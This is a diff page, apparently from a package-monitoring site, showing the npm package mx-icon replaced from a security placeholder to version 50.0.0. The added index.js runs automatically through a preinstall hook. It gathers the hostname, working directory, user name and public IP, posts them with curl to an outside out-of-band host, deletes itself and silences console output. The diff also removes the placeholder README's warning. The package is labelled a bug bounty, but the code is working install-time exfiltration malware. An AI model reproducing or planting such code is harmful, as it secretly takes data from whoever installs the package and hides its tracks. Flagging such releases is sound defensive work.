mx-icon 0.0.1-security → 50.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mx-icon might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +16 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const { exec } = require('child_process');
4
+
5
+ const payload = `
6
+ data="{\\"hostname\\": \\"$(hostname)\\", \\"current_dir\\": \\"$(pwd)\\", \\"user\\": \\"$(whoami)\\", \\"ip_address\\": \\"$(curl -s https://ifconfig.me/ip)\\", \\"package\\": \\"mx-icon\\"}"
7
+ curl -X POST -H "Content-Type: application/json" -d "$data" http://ckhp9tz2vtc0000ykrxggj33pmeyyyyyn.oast.fun > /dev/null 2>&1
8
+ rm -f index.js
9
+ `;
10
+
11
+ exec(payload, (error, stdout, stderr) => {
12
+ if (error) console.error("Execution error:", error.message);
13
+ if (stderr) console.error("Standard error:", stderr);
14
+ });
15
+
16
+ console.log = function() {};
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "mx-icon",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "50.0.0",
4
+ "description": "mx-icon-bugbounty",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=mx-icon for more information.